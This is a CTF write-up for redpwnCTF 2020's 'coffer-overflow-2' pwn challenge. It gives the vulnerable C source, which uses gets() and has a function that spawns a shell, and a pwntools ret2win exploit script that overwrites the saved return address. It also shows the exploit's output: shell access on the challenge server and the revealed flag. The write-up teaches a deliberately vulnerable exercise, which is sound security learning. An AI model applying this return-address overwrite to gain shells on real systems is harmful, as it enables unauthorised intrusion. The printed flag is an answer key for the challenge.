coffer-overflow-2

by roerohan / csictf

Tags: pwn

Rating:

coffer-overflow-2

Author: roerohan

This is a simple buffer overflow challenge.

Requirements

- Basic Buffer overflow.

Source

- coffer-overflow-2.

```
You'll have to jump to a function now!?

nc 2020.redpwnc.tf 31908
```

```c
#include <stdio.h>
#include <string.h>

int main(void)
{
  char name[16];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);
}

void binFunction() {
  system("/bin/sh");
}
```

Exploitation

Check out coffer-overflow-1 for some details. You can checkout how buffer overflow works here.

Here, we basically need to overwrite the return pointer from `main` so that it returns to `binFunction`. We know, main has a stack of size 16. You can get the address of `binFunction` using `gdb` or `objdump`.

```
$ objdump -d coffer-overflow-2 | grep binFunction
00000000004006e6 <binFunction>:
```

Now, write this address in little endian over the return pointer of main. That is, 16 random characters, 8 more to overwrite the `saved rbp`, and the address to overwrite the `saved rip`.

```
import pwn

r = pwn.remote('2020.redpwnc.tf', 31908)

rep = b'a'*16 + b'b'*8 + pwn.p64(0x004006e6)
print(rep)
r.sendline(rep)
r.interactive()
```

Run this using `python`.

```
$ python cof2.py
[+] Opening connection to 2020.redpwnc.tf on port 31908: Done
b'aaaaaaaaaaaaaaaabbbbbbbb\xe6\x06@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
Welcome to coffer overflow, where our coffers are overfilling with bytes ;)
What do you want to fill your coffer with?
$ ls
Makefile
bin
coffer-overflow-2
coffer-overflow-2.c
dev
flag.txt
lib
lib32
lib64
$ cat flag.txt
flag{ret_to_b1n_m0re_l1k3_r3t_t0_w1n}
```

The flag is:

```
flag{ret_to_b1n_m0re_l1k3_r3t_t0_w1n}
```

Original writeup (https://github.com/csivitu/CTF-Write-ups/tree/master/redpwnCTF%202020/pwn/coffer-overflow-2).

Comments